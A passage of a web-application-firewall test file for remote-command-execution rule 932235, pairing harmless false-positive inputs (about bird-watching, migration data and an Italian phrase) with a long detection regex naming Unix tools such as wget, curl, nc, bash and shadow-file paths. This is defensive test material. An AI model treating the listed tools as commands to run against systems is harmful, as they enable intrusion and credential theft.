)|rint(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|tar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep)|wd\\.db|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:ak[eu]|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:a(?:delf|lpath)|(?:(?:boo|dcarpe)t|name|p(?:eat|lace))(?:[\\s\\x0b&\\),<>\\|]|$)|stic)|l(?:ogin|wrap)|m(?:dir(?:[\\s\\x0b&\\),<>\\|]|$)|t-(?:dump|tar)|user)|pm(?:db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:ash|c(?:hed|r(?:een|ipt))|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|mbclient|o(?:(?:ca|r)t(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|sh(?:-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|udo(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay)|vn(?:a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|sk(?:[\\s\\x0b&\\),<>\\|]|$|set))|c(?:l?sh(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:dump|ing|traceroute))|elnet|(?:ftp|mux|ouch)(?:[\\s\\x0b&\\),<>\\|]|$)|ime(?:datectl|out(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:limit(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:(?:ame|compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|p(?:2date(?:[\\s\\x0b&\\),<>\\|]|$)|date-alternatives)|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:algrind|i(?:(?:[ep]w|gr|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|mdiff|sudo(?:-rs)?)|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:all|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:ami|is(?:[\\s\\x0b&\\),<>\\|]|$)))|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:args|pad|term)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more))|z(?:athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|ip(?:c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932235", "test_description": "FP against `annulla le ultime date` matching `ultime date`" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "payload=The best time to watch local birds is June–August and the best time for migratory birds is November–February.\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\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0b&\\),<>\\|]|$)))|r(?:ch(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c|j(?:-register|disp))|s(?:cii(?:-xfr|85)|pell)|u(?:ditctl|repot|search))|b(?:a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more))|c(?:[89]9-gcc|a(?:ncel|psh)(?:[\\s\\x0b&\\),<>\\|]|$)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|p(?:(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|on(?:[\\s\\x0b&\\),<>\\|]|$|tab))|s(?:cli(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:psfilter|rl(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:(?:ash|i(?:alog|ff)|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:2fsck|asy_install|(?:cho|fax|grep|macs|sac|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$)|v-update)|x(?:(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool))|f(?:acter|d(?:(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|(?:etch|grep|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:le(?:[\\s\\x0b&\\),<>\\|]|$|test)|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$)|tp(?:stats|who))|g(?:(?:awk|core|i(?:mp|nsh)|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:(?:cat|ep)(?:[\\s\\x0b&\\),<>\\|]|$)|oupmod)|tester|unzip)|h(?:(?:ash|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:(?:conv|nstall)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|p(?:6?tables|config|p(?:eveprinter|find|tool))|spell)|j(?:(?:ava|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:in(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$)|sshell)|l(?:a(?:st(?:comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|dconfig|ess(?:echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:cate|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|s(?:(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|trace|ua(?:la)?tex|wp-(?:d(?:ownload|ump)|mirror|request)|ynx(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4c(?:[\\s\\x0b&\\),<>\\|]|$|at)|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore)))|m(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|[qx](?:[\\s\\x0b&\\),<>\\|]|$))|(?:ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|utt(?:[\\s\\x0b&\\),<>\\|]|$)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:(?:a(?:no|sm|wk)|ice|map|o(?:de|hup)|ping|roff|ull)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:ofetch|t(?:(?:c|st)at|kit-ftp|plan))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:ctave(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:cman|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|(?:(?:ft|gre)p|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|i(?:(?:co|gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$)|dstat)|k(?:exec|g_?info|ill(?:[\\s\\x0b&\\),<>\\|]|$))|rint(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|tar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep)|wd\\.db|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:ak[eu]|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:a(?:delf|lpath)|(?:(?:boo|dcarpe)t|name|p(?:eat|lace))(?:[\\s\\x0b&\\),<>\\|]|$)|stic)|l(?:ogin|wrap)|m(?:dir(?:[\\s\\x0b&\\),<>\\|]|$)|t-(?:dump|tar)|user)|pm(?:db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:ash|c(?:hed|r(?:een|ipt))|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|mbclient|o(?:(?:ca|r)t(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|sh(?:-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|udo(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay)|vn(?:a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|sk(?:[\\s\\x0b&\\),<>\\|]|$|set))|c(?:l?sh(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:dump|ing|traceroute))|elnet|(?:ftp|mux|ouch)(?:[\\s\\x0b&\\),<>\\|]|$)|ime(?:datectl|out(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:limit(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:(?:ame|compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|p(?:2date(?:[\\s\\x0b&\\),<>\\|]|$)|date-alternatives)|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:algrind|i(?:(?:[ep]w|gr|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|mdiff|sudo(?:-rs)?)|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:all|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:ami|is(?:[\\s\\x0b&\\),<>\\|]|$)))|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:args|pad|term)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more))|z(?:athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|ip(?:c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932235", "test_description": "FP against `The best time to watch local birds` matching `time to watch local`" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "payload=Search data can thus provide an alternative, real time source of data on migration intentions.\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a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x0b&\\),<>\\|]|$)|ia2c|j(?:-register|disp))|s(?:cii(?:-xfr|85)|pell)|u(?:ditctl|repot|search))|b(?:a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more))|c(?:[89]9-gcc|a(?:ncel|psh)(?:[\\s\\x0b&\\),<>\\|]|$)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|p(?:(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|on(?:[\\s\\x0b&\\),<>\\|]|$|tab))|s(?:cli(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:psfilter|rl(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:(?:ash|i(?:alog|ff)|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:2fsck|asy_install|(?:cho|fax|grep|macs|sac|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$)|v-update)|x(?:(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool))|f(?:acter|d(?:(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|(?:etch|grep|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:le(?:[\\s\\x0b&\\),<>\\|]|$|test)|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$)|tp(?:stats|who))|g(?:(?:awk|core|i(?:mp|nsh)|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:(?:cat|ep)(?:[\\s\\x0b&\\),<>\\|]|$)|oupmod)|tester|unzip)|h(?:(?:ash|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:(?:conv|nstall)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|p(?:6?tables|config|p(?:eveprinter|find|tool))|spell)|j(?:(?:ava|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:in(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$)|sshell)|l(?:a(?:st(?:comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|dconfig|ess(?:echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:cate|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|s(?:(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|trace|ua(?:la)?tex|wp-(?:d(?:ownload|ump)|mirror|request)|ynx(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4c(?:[\\s\\x0b&\\),<>\\|]|$|at)|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore)))|m(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|[qx](?:[\\s\\x0b&\\),<>\\|]|$))|(?:ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|utt(?:[\\s\\x0b&\\),<>\\|]|$)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:(?:a(?:no|sm|wk)|ice|map|o(?:de|hup)|ping|roff|ull)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:ofetch|t(?:(?:c|st)at|kit-ftp|plan))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:ctave(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:cman|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|(?:(?:ft|gre)p|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|i(?:(?:co|gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$)|dstat)|k(?:exec|g_?info|ill(?:[\\s\\x0b&\\),<>\\|]|$))|rint(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|tar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep)|wd\\.db|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:ak[eu]|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:a(?:delf|lpath)|(?:(?:boo|dcarpe)t|name|p(?:eat|lace))(?:[\\s\\x0b&\\),<>\\|]|$)|stic)|l(?:ogin|wrap)|m(?:dir(?:[\\s\\x0b&\\),<>\\|]|$)|t-(?:dump|tar)|user)|pm(?:db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:ash|c(?:hed|r(?:een|ipt))|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|mbclie